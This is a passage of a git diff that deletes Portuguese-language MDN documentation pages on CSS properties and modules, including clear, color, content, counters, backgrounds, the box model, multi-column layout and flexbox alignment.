  • both : O elemento é abaixado para o espaço livre após elementos flutuando àesquerda e àdireita.Both signifcaAmbos.
  • -
- -

Exemplos

- -

View Live Examples

- -
h1 { clear: none }
-h2 { clear: right }
- -

Notas

- -

The clear property applies to both floating and non-floating elements.

- -

When it applies to non-floating blocks, it moves the border edge of the element down until it is below the margin edge of all relevant floats. This movement (when it happens) causes margin collapsing not to occur.

- -

When it applies to floating elements, it moves the margin edge of the element below the margin edge of all relevant floats. This affects the position of later floats, since later floats cannot be positioned higher than earlier ones.

- -

The floats that are relevant to be cleared are the earlier floats within the same block formatting context.

- -

Especificações

- - - -

Compatibilidade com navegadores

- - - - - - - - - - - - - - - - - - - - - - - - -
NavegadorVersão mais antiga
Internet Explorer4
Firefox1
Netscape4
Mozilla1
- -

Veja também

- -

{{ Cssxref("float") }}, {{ Cssxref("clear") }}

- -

Categorias

- -

Interwiki Language Links

- -

{{ languages( { "en": "en/CSS/clear", "fr": "fr/CSS/clear", "pl": "pl/CSS/clear" } ) }}

diff --git a/files/pt-pt/web/css/color/index.html b/files/pt-pt/web/css/color/index.html deleted file mode 100644 index bd7fe973b2..0000000000 --- a/files/pt-pt/web/css/color/index.html +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: color -slug: Web/CSS/color -tags: - - Referencia_CSS -translation_of: Web/CSS/color ---- -

-{{ CSSRef() }} -

-

Resumo

-

A propriedade color ajusta a cor de primeiro plano de um texto contido no elemento. -

-
  • Valor inicial: depende do agente do usuário; -
  • Aplica-se a: todos elementos; -
  • Herdado: sim; -
  • Porcentagens: N/A; -
  • {{ Cssxref("@media") }}: visual; -
  • Valor computado: como especificado. -
-

Sintaxe

-
border-bottom-color: color | inherit
-
-

Valores

-
color 
O color pode ser especificado como valor hexadecimal RGB, valor RGB regular, ou usando as cores pre-definidas. -
-

Exemplos

-

As maneiras seguintes são todas um exemplo de como deixar um elemento de texto com a cor vermelho: -

-
element { color: red }
-element { color: #f00 }
-element { color: #ff0000 }
-element { color: rgb(255,0,0) }
-element { color: rgb(100%, 0%, 0%) }
-
-

Notas

- -

Especificações

- -

== Compatibilidade com navegadores == -

Categorias -

Interwiki Language Links -

{{ languages( { "en": "en/CSS/color", "fr": "fr/CSS/color", "pl": "pl/CSS/color" } ) }} diff --git a/files/pt-pt/web/css/content/index.html b/files/pt-pt/web/css/content/index.html deleted file mode 100644 index cc627821d8..0000000000 --- a/files/pt-pt/web/css/content/index.html +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: content -slug: Web/CSS/content -translation_of: Web/CSS/content ---- -

« Referência CSS

-

Resumo

-

A propriedade content é usada com os pseudo-elementos :before e :after para gerar conteúdo com o elemento.

-
  • Valor inicial: normal
  • Aplica-se a: Pseudo-elementos :before e :after
  • Herdado: não
  • Mídia: todas
  • Valor computado:
    • Em :before e :after, normal é computado como none
    • Para elementos sempre é computado como normal
    • Endereços são convertidos para absolutos
    • Quando for attr(), o valor será o mesmo do atributo escolhido
    • Para outras, fica como o especificado
  • -
-

Sintáxe

-
content: normal | none |
-       [ <string> | <uri> | <counter> | attr() |
-         open-quote | close-quote | no-open-quote | no-close-quote ]+ | inherit
-
-

Valores

-
none
O pseudo-elemento não é gerado.
normal
Computado como none para os pseudo-elementos :before e :after.
<string>
Conteúdo de texto.
<uri> url()
O valor especifica um recurso externo (como uma imagem). Se o recurso não puder ser exibido, ele é ignorado ou um marcador aparece em seu lugar.
<counter>
Contadores podem ser especificados como duas funções: 'counter()' ou 'counters()'. O primeiro tem duas formas: 'counter(name)' ou 'counter(name, style)'. O texto gerado é o valor do contador de intimidades de o nome dado no âmbito deste pseudo-elemento, que é formatado no estilo indicado ('decimal' por padrão).A segunda também tem duas formas: 'counters(name, string)' ou 'counters(name, string, style)'. O texto gerado é o valor de todos os contadores com o nome dado no âmbito deste pseudo-elemento, a partir ultraperiféricas intimidades separadas pela seqüência especificada. Os contadores são testados da maneira indicada ('decimal' por padrão). Veja a seção contadores automáticos e numeração para mais informação. O nome não pode ser 'none', 'inherit' ou 'initial'. Isso faz com que a função seja ignorada.
attr(X)
Retorna o valor da propriedade X do elemento. Se não existir a propriedade X, será retornado um texto vazio. A diferenciação entre maiúsculas e minúsculas depende do idioma do documento.
open-quote | close-quote
Esses valores são trocadas pelo texto apropriado da propriedade quotes.
no-open-quote | no-close-quote
Não introduz conteúdo, previne a inserção em um elemento de um open-quote ou close quote.
-
diff --git a/files/pt-pt/web/css/counter-increment/index.html b/files/pt-pt/web/css/counter-increment/index.html deleted file mode 100644 index 43197dba12..0000000000 --- a/files/pt-pt/web/css/counter-increment/index.html +++ /dev/null @@ -1,66 +0,0 @@ ---- -title: counter-increment -slug: Web/CSS/counter-increment -tags: - - CSS - - CSS List - - CSS Property - - Reference -translation_of: Web/CSS/counter-increment ---- -

{{ CSSRef() }}

- -

Resumo

- -

counter-increment é usado para aumentar o valor de CSS Counters com um valor dado.

- -

{{cssinfo}}

- -

Sintaxe

- -
counter-increment: [<identifier> <integer>?]+ | inherit | none
-
- -

Valores

- -
-
identifier 
-
O nome do contador para incrementar.
-
integer 
-
O valor para adicionar ao contador. O padrão é 1 se nada for dado.
-
- -

Você pode especificar como muitos contadores para incrementar como você quiser, cada um separado por um espaço.

- -

Propriedades relacionadas

- - - -

Exemplos

- -
h1 {
-  counter-increment: chapter section 2 page;
-  /* Aumenta o valor dos contadores de capítulo e página em 1
-     e o contador da seção em 2. */
-}
-
- -

== Notas ==

- -

Especificações

- - - -

== Compatibilidade com navegadores ==

- -

Veja também

- -

CSS Counters, {{ Cssxref("counter-increment") }}, {{ Cssxref("counter-reset") }}

- -

Categorias

- -

Interwiki Language Links

diff --git a/files/pt-pt/web/css/counter-reset/index.html b/files/pt-pt/web/css/counter-reset/index.html deleted file mode 100644 index 709c4f8112..0000000000 --- a/files/pt-pt/web/css/counter-reset/index.html +++ /dev/null @@ -1,69 +0,0 @@ ---- -title: counter-reset -slug: Web/CSS/counter-reset -tags: - - CSS - - CSS List - - CSS Property - - CSS Reference -translation_of: Web/CSS/counter-reset ---- -

{{ CSSRef() }}

- -

Resumo

- -

counter-reset é usado para reiniciar os CSS Counters a um valor dado.

- -
    -
  • Aplica-se a: todos os elementos
  • -
  • Herdado: não
  • -
- -

Sintaxe

- -
counter-reset: [<identifier> <integer>?]+ | inherit | none
-
- -

Valores

- -
-
identifier 
-
O nome do contador para reiniciar.
-
integer 
-
O valor para reiniciar o contador para cada ocorrência do elemento. O padrão é 0 se nada for dado.
-
- -

Você pode especificar como muitos contadores para reiniciar quando você quiser, cada um separado por um espaço.

- -

Propriedades relacionadas

- - - -

Exemplos

- -
h1 {
-  counter-reset: chapter section 1 page;
-  /* Configura os contadores de capítulo e página em 0
-     e o contador da seção em 1. */
-}
-
- -

== Notas ==

- -

Especificações

- - - -

== Browser compatibility ==

- -

Veja também

- -

CSS Counters, {{ Cssxref("counter-increment") }}, {{ Cssxref("counter-reset") }}

- -

Categorias

- -

Interwiki Language Links

diff --git a/files/pt-pt/web/css/css_backgrounds_and_borders/index.html b/files/pt-pt/web/css/css_backgrounds_and_borders/index.html deleted file mode 100644 index 3c843d9d45..0000000000 --- a/files/pt-pt/web/css/css_backgrounds_and_borders/index.html +++ /dev/null @@ -1,156 +0,0 @@ ---- -title: CSS Background and Borders -slug: Web/CSS/CSS_Backgrounds_and_Borders -tags: - - CSS - - CSS Backgrounds and Borders - - CSS Reference - - NeedsTranslation - - Overview - - TopicStub -translation_of: Web/CSS/CSS_Backgrounds_and_Borders -translation_of_original: Web/CSS/CSS_Background_and_Borders -original_slug: Web/CSS/CSS_Background_and_Borders ---- -

{{CSSRef}}

- -

CSS Background and Borders is a module of CSS that defines how background and borders of elements are described. Borders can be lines or images, boxes can have one or multiple backgrounds, have rounded corners, and shadows.

- -

Reference

- -

CSS Properties

- -
-
    -
  • {{cssxref("background")}}
  • -
  • {{cssxref("background-attachment")}}
  • -
  • {{cssxref("background-clip")}}
  • -
  • {{cssxref("background-color")}}
  • -
  • {{cssxref("background-image")}}
  • -
  • {{cssxref("background-origin")}}
  • -
  • {{cssxref("background-position")}}
  • -
  • {{cssxref("background-repeat")}}
  • -
  • {{cssxref("background-size")}}
  • -
  • {{cssxref("box-shadow")}}
  • -
  • {{cssxref("border")}}
  • -
  • {{cssxref("border-bottom")}}
  • -
  • {{cssxref("border-bottom-color")}}
  • -
  • {{cssxref("border-bottom-left-radius")}}
  • -
  • {{cssxref("border-bottom-right-radius")}}
  • -
  • {{cssxref("border-bottom-style")}}
  • -
  • {{cssxref("border-bottom-width")}}
  • -
  • {{cssxref("border-collapse")}}
  • -
  • {{cssxref("border-color")}}
  • -
  • {{cssxref("border-image")}}
  • -
  • {{cssxref("border-image-outset")}}
  • -
  • {{cssxref("border-image-repeat")}}
  • -
  • {{cssxref("border-image-slice")}}
  • -
  • {{cssxref("border-image-source")}}
  • -
  • {{cssxref("border-image-width")}}
  • -
  • {{cssxref("border-left")}}
  • -
  • {{cssxref("border-left-color")}}
  • -
  • {{cssxref("border-left-style")}}
  • -
  • {{cssxref("border-left-width")}}
  • -
  • {{cssxref("border-radius")}}
  • -
  • {{cssxref("border-right")}}
  • -
  • {{cssxref("border-right-color")}}
  • -
  • {{cssxref("border-right-style")}}
  • -
  • {{cssxref("border-right-width")}}
  • -
  • {{cssxref("border-style")}}
  • -
  • {{cssxref("border-top")}}
  • -
  • {{cssxref("border-top-color")}}
  • -
  • {{cssxref("border-top-left-radius")}}
  • -
  • {{cssxref("border-top-right-radius")}}
  • -
  • {{cssxref("border-top-style")}}
  • -
  • {{cssxref("border-top-width")}}
  • -
  • {{cssxref("border-width")}}
  • -
-
- -

Guides

- -
-
Using CSS multiple backgrounds
-
Explains how to set backgrounds on elements and how they will interact with it.
-
Scaling background images
-
Describes how to change the appearance of the background images, by stretching them or repeating them, to cover the whole background of the element, or not.
-
- -

Specifications

- - - - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{ SpecName('CSS3 Backgrounds') }}{{ Spec2('CSS3 Backgrounds') }} 
{{SpecName('CSS2.1', 'box.html')}}{{Spec2('CSS2.1')}} 
{{SpecName('CSS1', '#border')}}{{Spec2('CSS1')}} 
- -

Browser compatibility

- -

{{CompatibilityTable()}}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support1.0{{CompatGeckoDesktop("1.0")}}4.03.51.0 (85)
-
- -
- - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown()}}{{CompatGeckoMobile("1.9.2")}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}1.0
-
diff --git a/files/pt-pt/web/css/css_backgrounds_and_borders/using_multiple_backgrounds/index.html b/files/pt-pt/web/css/css_backgrounds_and_borders/using_multiple_backgrounds/index.html deleted file mode 100644 index 50c7a79499..0000000000 --- a/files/pt-pt/web/css/css_backgrounds_and_borders/using_multiple_backgrounds/index.html +++ /dev/null @@ -1,59 +0,0 @@ ---- -title: Utilização de múltiplos fundos em CSS -slug: Web/CSS/CSS_Backgrounds_and_Borders/Using_multiple_backgrounds -tags: - - CSS - - CSS Background - - Example - - Guide - - Intermediate -translation_of: Web/CSS/CSS_Backgrounds_and_Borders/Using_multiple_backgrounds -translation_of_original: Web/CSS/CSS_Background_and_Borders/Using_CSS_multiple_backgrounds -original_slug: Web/CSS/CSS_Background_and_Borders/Múltiplos_planos_de_fundo ---- -

{{CSSRef}}

- -

Com CSS3 pode aplicar múltiplos fundos aos elementos. Estes são colocados um sobre o outro, com o primeiro fundo fornecido no topo e o último fundo listado por trás. Só o último fundo pode incluir uma cor de fundo:

- -

É fácil especificar múltiplos fundos:

- -
.myclass {
-  background: background1, background 2, ..., backgroundN;
-}
-
- -

Você pode fazer isto com o apanhado da propriedade {{ cssxref("background") }} e das sub-propriedades desta: {{ cssxref("background") }}, {{ cssxref("background-attachment") }}, {{ cssxref("background-clip") }}, {{ cssxref("background-image") }}, {{ cssxref("background-origin") }}, {{ cssxref("background-position") }}, {{ cssxref("background-repeat") }}, {{ cssxref("background-size") }}.

- -

Exemplo

- -

Neste exemplo, três fundos são empilhados: a logo do Firefox, um gradiente linear (en) e uma imagem com flores:

- -
.multi_bg_example {
-  background: url(http://demos.hacks.mozilla.org/openweb/resources/images/logos/firefox-48.png),
-        -moz-linear-gradient(left, rgba(255, 255, 255, 0),  rgba(255, 255, 255, 1)),
-        url(http://demos.hacks.mozilla.org/openweb/resources/images/patterns/flowers-pattern.jpg);
-  background-repeat: no-repeat, no-repeat, repeat;
-  background-position: bottom right, left, right;
-}
-
- - - - - - - - - - - - -
FotoDemonstração ao vivo
css_multibg.png 
- -

Como pode ver aqui, o logótipo do Firefox (listado primeiro) está no topo, seguida pelo gradiente, que está uma camada acima do fundo florido. Cada sub-propriedade ({{ cssxref("background-repeat") }} e {{ cssxref("background-position") }}) subsequentes aplicam-se aos fundos correspondentes. Dessa forma, o primeiro valor listado para {{ cssxref("background-repeat") }} aplica-se ao primeiro fundo (mais a frente), e assim por diante.

- -

Ver também

- - diff --git a/files/pt-pt/web/css/css_box_model/index.html b/files/pt-pt/web/css/css_box_model/index.html deleted file mode 100644 index cb4dd91343..0000000000 --- a/files/pt-pt/web/css/css_box_model/index.html +++ /dev/null @@ -1,167 +0,0 @@ ---- -title: CSS Box Model -slug: Web/CSS/CSS_Box_Model -tags: - - CSS - - CSS Box Model - - CSS Reference - - NeedsTranslation - - Overview - - TopicStub -translation_of: Web/CSS/CSS_Box_Model ---- -
{{CSSRef}}
- -

CSS Box Model is a CSS module that defines the rectangular boxes, including their padding and margin, that are generated for elements and laid out according to the visual formatting model.

- -

Reference

- -

Properties

- -

Properties controlling the flow of content in a box

- -
-
    -
  • {{cssxref("box-decoration-break")}}
  • -
  • {{cssxref("box-sizing")}}
  • -
  • {{cssxref("overflow")}}
  • -
  • {{cssxref("overflow-x")}}
  • -
  • {{cssxref("overflow-y")}}
  • -
-
- -

Properties controlling the size of a box

- -
-
    -
  • {{cssxref("height")}}
  • -
  • {{cssxref("width")}}
  • -
  • {{cssxref("max-height")}}
  • -
  • {{cssxref("max-width")}}
  • -
  • {{cssxref("min-height")}}
  • -
  • {{cssxref("min-width")}}
  • -
-
- -

Properties controlling the margins of a box

- -
-
    -
  • {{cssxref("margin")}}
  • -
  • {{cssxref("margin-bottom")}}
  • -
  • {{cssxref("margin-left")}}
  • -
  • {{cssxref("margin-right")}}
  • -
  • {{cssxref("margin-top")}}
  • -
-
- -

Properties controlling the paddings of a box

- -
-
    -
  • {{cssxref("padding")}}
  • -
  • {{cssxref("padding-bottom")}}
  • -
  • {{cssxref("padding-left")}}
  • -
  • {{cssxref("padding-right")}}
  • -
  • {{cssxref("padding-top")}}
  • -
-
- -

Other properties

- -
-
    -
  • {{cssxref("box-shadow")}}
  • -
  • {{cssxref("visibility")}}
  • -
-
- -

Guides and tools

- -
-
Introduction to the CSS box model
-
Explains one of the fundamental concept of CSS, the box model: describes the meaning of the margin, padding, as well as the different areas of a box.
-
Mastering margin collapsing
-
In several cases, two adjacent margins are collapsed into one. This article describes when this is happening and how to control it.
-
Box-shadow generator
-
An interactive tool that allows to visually create shadows and to generate the needed syntax for the {{cssxref("box-shadow")}} property.
-
- -

Specifications

- - - - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName("CSS3 Box")}}{{Spec2("CSS3 Box")}} 
{{SpecName("CSS2.1", "box.html")}}{{Spec2("CSS2.1")}} 
{{SpecName("CSS1")}}{{Spec2("CSS1")}}Initial definition
- -

Browser compatibility

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support1.0{{CompatGeckoDesktop("1")}}3.03.51.0 (85)
-
- -
- - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support1.0{{CompatGeckoMobile("1")}}6.06.01.0
-
diff --git a/files/pt-pt/web/css/css_box_model/introduction_to_the_css_box_model/index.html b/files/pt-pt/web/css/css_box_model/introduction_to_the_css_box_model/index.html deleted file mode 100644 index b8496849df..0000000000 --- a/files/pt-pt/web/css/css_box_model/introduction_to_the_css_box_model/index.html +++ /dev/null @@ -1,70 +0,0 @@ ---- -title: Introdução ao modelo de Caixa de CSS -slug: Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model -tags: - - CSS - - Modelo de Caixa de CSS - - Principiante - - Referencia -translation_of: Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model -original_slug: Web/CSS/CSS_Box_Model/Introducao_modelo_caixa_CSS ---- -

{{CSSRef}}

- -

Resumo

- -

In a document, each element is represented as a rectangular box. Determining the size, properties — like its color, background, borders aspect — and the position of these boxes is the goal of the rendering engine.

- -

In CSS, each of these rectangular boxes is described using the standard box model. This model describes the space of the content taken by an element. Each box has four edges: the margin edge, border edge, padding edge, and content edge.

- -

CSS Box model

- -

The content area is the area containing the real content of the element. It often has a background, a color or an image (in that order, an opaque image hiding the background color) and is located inside the content edge; its dimensions are the content width, or content-box width, and the content height, or content-box height.

- -

If the CSS {{ cssxref("box-sizing") }} property is set to default, the CSS properties {{ cssxref("width") }}, {{ cssxref("min-width") }}, {{ cssxref("max-width") }}, {{ cssxref("height") }}, {{ cssxref("min-height") }} and {{ cssxref("max-height") }} control the content size.

- -

The padding area extends to the border surrounding the padding. When the content area has a background, color, or image set on it, this will extend into the padding, which is why you can think of the padding as extending the content. The padding is located inside the padding edge, and its dimensions are the padding-box width and the padding-box height.

- -

The space between the padding and the content edge can be controlled using the {{ cssxref("padding-top") }}, {{ cssxref("padding-right") }}, {{ cssxref("padding-bottom") }}, {{ cssxref("padding-left") }} and the shorthand {{ cssxref("padding") }} CSS properties.

- -

The border area extends the padding area to the area containing the borders. It is the area inside the border edge, and its dimensions are the border-box width and the border-box height. This area depends on the size of the border that is defined by the {{ cssxref("border-width") }} property or the shorthand {{ cssxref("border") }}.

- -

The margin area extends the border area with an empty area used to separate the element from its neighbors. It is the area inside the margin edge, and its dimensions are the margin-box width and the margin-box height.

- -

The size of the margin area is controlled using the {{ cssxref("margin-top") }}, {{ cssxref("margin-right") }}, {{ cssxref("margin-bottom") }}, {{ cssxref("margin-left") }} and the shorthand {{ cssxref("margin") }} CSS properties.

- -

When margin collapsing happens, the margin area is not clearly defined since margins are shared between boxes.

- -

Finally, note that, for non-replaced inline elements, the amount of space taken up (the contribution to the height of the line) is determined by the {{ cssxref('line-height') }} property, even though the border and padding appear visually around the content.

- -

Especificação

- - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{ SpecName("CSS2.1","box.html#box-dimensions")}}{{ Spec2('CSS2.1') }}Though more precisely worded, there is no practical change
{{ SpecName("CSS1","#formatting-model")}}{{ Spec2('CSS1') }}Initial definition
- -

Consultar também

- -
    -
  • Referência CSS
  • -
  • {{ CSS_key_concepts() }}
  • -
  • Related CSS properties: {{ cssxref("box-sizing") }}, {{ cssxref("background-clip") }}, {{ cssxref("height") }}, {{ cssxref("max-height") }}, {{ cssxref("min-height") }}, {{ cssxref("width") }}, {{ cssxref("max-height") }}, {{ cssxref("min-height") }}, {{ cssxref("padding") }}, {{ cssxref("padding-top") }}, {{ cssxref("padding-right") }}, {{ cssxref("padding-bottom") }}, {{ cssxref("padding-left") }}, {{ cssxref("border") }}, {{ cssxref("border-top") }}, {{ cssxref("border-right") }}, {{ cssxref("border-bottom") }}, {{ cssxref("border-left") }}, {{ cssxref("border-width") }}, {{ cssxref("border-top-width") }}, {{ cssxref("border-right-width") }}, {{ cssxref("border-bottom-width") }}, {{ cssxref("border-left-width") }}, {{ cssxref("margin") }}, {{ cssxref("margin-top") }}, {{ cssxref("margin-right") }}, {{ cssxref("margin-bottom") }}, {{ cssxref("margin-left") }}
  • -
diff --git a/files/pt-pt/web/css/css_colors/color_picker_tool/index.html b/files/pt-pt/web/css/css_colors/color_picker_tool/index.html deleted file mode 100644 index 853610e804..0000000000 --- a/files/pt-pt/web/css/css_colors/color_picker_tool/index.html +++ /dev/null @@ -1,3244 +0,0 @@ ---- -title: Ferramenta de seleção de cor -slug: Web/CSS/CSS_Colors/Color_picker_tool -tags: - - CSS - - Ferramentas - - Seleção de cor - - cor -translation_of: Web/CSS/CSS_Colors/Color_picker_tool -original_slug: Web/CSS/CSS_Colors/Ferramenta_selecao_cor ---- - - -

 

- -

{{CSSRef}}

- -

Esta ferramenta facilita a criação, ajuste, e experimentação de cores personalizadas na internet. Também facilita conversão entre vários formatos de cor disponíveis em CSS, incluindo: HEXA colors, RGB (Red/Green/Blue) e HSL (Hue/Saturation/Lightness). Também é possível controlar o canal alfa nos formatos RGB (rgba) and HSL (hsla).

- -

Ao ajustar os parâmetros que definem a cor, a mesma é mostrada nos três formatos padrão de CSS na internet. Além disso, com base na cor atualmente selecionada, é gerada uma paleta para HSL e HSV, assim como alfa. A caixa de seleção de cores no estilo "conta-gotas" pode mudar entre HSL e HSV. Também pode testar as cores e ver como se intersetam arrastando-as para a caixa por baixo da ferramenta e deslocando-as para o mesmo ponto. Ajuste o valor do índice-Z relativo para as mover para a frente e para trás umas das outras.

- -

Esta ferramenta vai ajudá-lo a identificar as cores perfeitas para o CSS do seu HTML.

- -

{{ EmbedLiveSample('ColorPicker_Tool', '100%', '900') }}

- -

As cores que gerou em cima podem ser usadas em qualquer sítio que estaria uma cor em CSS e/ou HTML, salvo indicação em contrário.

- -

See also

- -

Para mais informações sobre cores, consulte estes artigos:

- - - -

 

- -
    -
  •  
  • -
diff --git a/files/pt-pt/web/css/css_columns/index.html b/files/pt-pt/web/css/css_columns/index.html deleted file mode 100644 index 6a356077b5..0000000000 --- a/files/pt-pt/web/css/css_columns/index.html +++ /dev/null @@ -1,240 +0,0 @@ ---- -title: CSS Multi-column Layout -slug: Web/CSS/CSS_Columns -tags: - - CSS - - CSS Multi-column Layout - - Layout - - NeedsTranslation - - Overview - - Reference - - TopicStub -translation_of: Web/CSS/CSS_Columns ---- -
{{CSSRef("CSS3 Multicol")}}
- -

The CSS Multi-column Layout standard is a CSS module that adds support for multi-column layouts to CSS. This module makes it easier and more reliable than ever to produce columnar layouts without having to hand-code complicated and fragile structures. Support is included for establishing the number of columns in a layout, as well as how content should flow from column to column, gap sizes, column dividing lines (known as column rules), and so forth.

- -

Multi-column layout basics

- -

The three key properties used to produce the layout of columns in CSS are {{cssxref("column-count")}}, {{cssxref("column-width")}}, and {{cssxref("column-gap")}}. Other properties provide ways to fine-tune details of how things are organized and rendered within the layout structure built using those properties, but the job of figuring out what goes where is generally handled by these four.

- -

Suggesting the number of columns and their widths

- -

The first two properties, column-count and column-width, are both the most important and the most potentially misleading. It's important to understand that:

- -
    -
  • The {{cssxref("column-count")}} property specifies a maximum number of columns to use to render the text. The browser will consider the amount of horizontal space available, the value of column-width, and the value of column-gap, then draw the largest number of columns across that it can fit into the available space.
  • -
  • The {{cssxref("column-width")}} property specifies a minimum column width, given a {{cssxref("length")}} value. Each column the browser creates will be at least this wide, but may be wider. After determining the number of columns that it will draw, any remaining horizontal space may be divided up by the browser among the columns  and added to their widths.
  • -
- -

In a way, then, they're more like recommendations than hard and fast rules. And this makes sense once you consider the logic of it; this allows multi-column layouts to be responsive and adaptive to the screen width, while also supporting the overall layout of the page and the intent of the author. As the width of the containing space (or the screen) shrinks, the browser will reduce the number of columns it creates, adjusting the remaining columns' widths to ensure that the overall width is as expected.

- -

The other thing you can control is the distance between the columns, known as the column gap. The column gap can be controlled using the {{cssxref("column-gap")}} property. By convention, the default gap is 1em, but this may or may not be the case in any given browser, so if it matters to you, explicitly set it. The column  gap, unlike the column count and width, doesn't get adjusted by the browser as it tries to fit the content into the available space.

- -

Take a look at the example below, in which you can use the range control at the top to adjust the width of the columns' containing element.

- - - -

{{EmbedLiveSample("Suggesting_the_number_of_columns_and_their_widths", 650, 800)}}

- -

Text wrapping in multi-column layouts

- -

The {{cssxref("column-fill")}} property also affects layout. By default, the browser will create as many appropriately-sized columns as it can, then balance the contents across them so that each column is approximately the same length. If, however, you prefer to have the browser fill the first column to its maximum height before moving on to the next column, you can set column-fill to auto (instead of the default, balance).

- -

If there is no constraint on the column height, however, there will only be one column created, as it will never reach its maximum height to trigger wrapping to the second column, so be sure to either place your columns inside a container which constrains their height, either by using {{cssxref("height")}} or {{cssxref("max-height")}}.

- -
-

While the CSS specification defines the {{cssxref("break-before")}}, {{cssxref("break-after")}}, and {{cssxref("break-inside")}} properties to help control wrapping of elements across region, column, or page boundaries, these properties are generally not implemented widely enough to use in real-world code at this time.

-
- -

Column appearance

- -

You can specify that a column rule—a dividing line drawn in the center of each column gap—be drawn between each column in the rendered output of your layout by using the {{cssxref("column-rule-style")}}, {{cssxref("column-rule-width")}}, and {{cssxref("column-rule-color")}} properties, or the shorthand property {{cssxref("column-rule")}}.

- -

Reference

- -

CSS properties

- -
-
    -
  • {{cssxref("break-after")}}
  • -
  • {{cssxref("break-before")}}
  • -
  • {{cssxref("break-inside")}}
  • -
  • {{cssxref("column-count")}}
  • -
  • {{cssxref("column-fill")}}
  • -
  • {{cssxref("column-gap")}}
  • -
  • {{cssxref("column-rule")}}
  • -
  • {{cssxref("column-rule-color")}}
  • -
  • {{cssxref("column-rule-style")}}
  • -
  • {{cssxref("column-rule-width")}}
  • -
  • {{cssxref("column-span")}}
  • -
  • {{cssxref("column-width")}}
  • -
  • {{cssxref("columns")}}
  • -
-
- -

Guides

- -
-
Using CSS multi-column layouts
-
Step-by-step tutorial about how to build layouts using several columns.
-
- -

Specifications

- - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('CSS3 Multicol')}}{{Spec2('CSS3 Multicol')}}Initial definition
- -

Browser compatibility

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}} {{property_prefix('-webkit')}}{{CompatGeckoDesktop(9)}}{{property_prefix('-moz')}}
- {{CompatGeckoDesktop(52)}}
1011.10
- 15{{property_prefix('-webkit')}}
3.0 (522){{property_prefix('-webkit')}}
-
- -
- - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support2.1{{property_prefix('-webkit')}}{{compatGeckoMobile(22)}}{{property_prefix('-moz')}}
- {{CompatGeckoMobile(52)}}
1011.5
- 32{{property_prefix('-webkit')}}
3.2{{property_prefix('-webkit')}}
-
- -

See also

- -

Other CSS layout technologies include:

- - diff --git a/files/pt-pt/web/css/css_flexible_box_layout/aligning_items_in_a_flex_container/index.html b/files/pt-pt/web/css/css_flexible_box_layout/aligning_items_in_a_flex_container/index.html deleted file mode 100644 index 2c778a9dd6..0000000000 --- a/files/pt-pt/web/css/css_flexible_box_layout/aligning_items_in_a_flex_container/index.html +++ /dev/null @@ -1,216 +0,0 @@ ---- -title: Alinhamento de Itens num Recipiente Flex -slug: Web/CSS/CSS_Flexible_Box_Layout/Aligning_Items_in_a_Flex_Container -tags: - - Alinhar - - CSS - - Flex - - Guía - - align-content - - align-items - - align-self - - alinhamento - - flexbox - - justificar - - justify-content -translation_of: Web/CSS/CSS_Flexible_Box_Layout/Aligning_Items_in_a_Flex_Container -original_slug: Web/CSS/CSS_Flexible_Box_Layout/alinhamento_de_itens_num_recipiente_flex ---- -

{{CSSRef}}

- -

Uma das razões pelas quais o flexbox atraiu rapidamente o interesse dos programadores da Web é que este trouxe os melhores recursos de alinhamento para a Web, pela primeira vez. Este permitiu o alinhamento vertical adequado, e assim nós podemos finalmente, centrar uma caixa facilmente. Neste guia, Nós iremos analisar detalhadamente como as propriedades de alinhamento e justificação funcionam no Flexbox.

- -

Para centrar a nossa caixa, nós utilizamos a propriedade align-items para alinhar o nosso item no eixo transversal, que neste caso é o eixo do bloco na vertical. Nós utilizamos o justify-content para alinhar o item no eixo principal, que neste caso é o eixo horizontal.

- -

A containing element with another box centered inside it.

- -

 

- -

Podem ver o código do exemplo abaixo. Muda o tamanho do container ou do elemento aninhado e o elemento aninhado permanecerá centrado.

- -

{{EmbedGHLiveSample("css-examples/flexbox/alignment/intro.html", '100%', 700)}}

- -

Propriedades que controlam o alinhamento

- -

As propriedades que nós iremos ver neste guia são as seguintes:

- -
    -
  • {{cssxref("justify-content")}} — controla o alinhamento de todos os itens no eixo principal.
  • -
  • {{cssxref("align-items")}} — controla o alinhamento de todos os itens no eixo transversal.
  • -
  • {{cssxref("align-self")}} — controla o alinhamento de um item flex individual no eixo transversal.
  • -
  • {{cssxref("align-content")}} — descrito na especificação como para “empacotar linhas do flex”; controla o espaço entre as linhas do flex no eixo das coordenadas.
  • -
- -

Vamos também descobrir como as margens automáticas podem ser utilizadas para alinhamento em flexbox.

- -
-

Nota: As propriedades de alinhamento em Flexbox foram colocadas na sua própria especificação — CSS Box Alignment Level 3. É expectável que esta especificação irá enfim substituir as propriedades definidas em Flexbox Level One.

-
- -

O Eixo Transversal

- -

As propriedades align-itemsalign-self controlam o alinhamento dos nossos itens da flex no eixo transversal, pelas colunas se a flex-direction for row e ao longo da linha se a flex-direction for column.

- -

Estamos a dar uso do alinhamento no eixo transversalno exemplo mais fácil do flex. Se adicionarmos display: flex a um container, os sub-elementos tornarão-se todos itens da flex numa linha. Irão esticar-se para serem tão altos quanto o item mais alto, já que esse item está a definir a altura dos itens do eixo transversal. Se o teu flex container tiver uma altura definida, então os itens irão esticar até essa altura, independentemente de quanto conteúdo estiver no item.

- -

